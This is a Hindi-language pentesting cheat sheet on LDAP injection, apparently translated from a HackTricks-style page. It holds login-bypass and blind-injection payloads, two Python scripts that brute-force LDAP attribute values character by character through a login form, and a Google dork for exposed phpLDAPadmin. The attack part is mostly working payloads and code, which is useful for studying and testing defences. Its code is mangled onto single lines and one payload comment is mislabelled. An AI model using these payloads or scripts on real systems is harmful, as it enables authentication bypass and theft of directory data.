LDAP Injection एक हमला है जो वेब एप्लिकेशनों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP वक्तव्य बनाते हैं। यह उस समय होता है जब एप्लिकेशन इनपुट को सही ढंग से सैनिटाइज़ नहीं करता, जिससे हमलावादी स्थानीय प्रॉक्सी के माध्यम से LDAP वक्तव्यों को परिवर्तित कर सकते हैं, जो अनधिकृत पहुंच या डेटा परिवर्तन की ओर ले जा सकता है।
फ़िल्टर = ( filtercomp )
फ़िल्टरकॉम्प = and / or / not / item
एंड = & filterlist
या = |filterlist
नॉट = ! filter
फ़िल्टरलिस्ट = 1*filter
आइटम= सरल / उपस्थित / उपस्थितअंश
सरल = एट्रिब्यूट फ़िल्टर प्रतिज्ञानमूल्य
फ़िल्टर प्रकार = '=' / '~=' / '>=' / '<='प्रेजेंट = एट्रिब्यूट = *
सबस्ट्रिंग = एट्रिब्यूट ”=” [आरंभिक] * [अंतिम]
आरंभिक = प्रतिज्ञानमूल्य
अंतिम = प्रतिज्ञानमूल्य
(&) = पूर्ण सत्य
(|) = पूर्ण झूठ
उदाहरण के लिए:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
आप डेटाबेस तक पहुंच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।
OpenLDAP: यदि 2 फ़िल्टर पहुंचते हैं, तो केवल पहला एक कार्यान्वित करता है।
ADAM या Microsoft LDS: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।
SunOne Directory Server 5.0: दोनों फ़िल्टर कार्यान्वित करता है।
फ़िल्टर को सही सिंटैक्स के साथ भेजना बहुत महत्वपूर्ण है या त्रुटि फेंकी जाएगी। बेहतर है केवल 1 फ़िल्टर भेजना।
फ़िल्टर को इस प्रारंभ करना चाहिए: & या |
उदाहरण: (&(directory=val1)(folder=public))
फिर: (&(objectClass=*)(ObjectClass=*)) पहला फ़िल्टर होगा (जो कार्यान्वित होगा)।
लॉगिन बाइपास
LDAP कई प्रारूप समरक पासवर्ड स्टोर करने के लिए समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड में जो कुछ भी डालें, वह हैश हो।
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
आप यहाँ एक अंधा LDAP अंदरघुस्ती की संभावना की पुष्टि करने के लिए झूठा या सच्चा प्रतिक्रियाएँ बल पा सकते हैं और किसी डेटा की वापसी की जांच कर सकते हैं:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
विशेष ब्लाइंड LDAP इन्जेक्शन (बिना "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
गूगल डॉर्क्स
intitle:"phpLDAPadmin"inurl:cmd.php
अधिक Payloads
यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).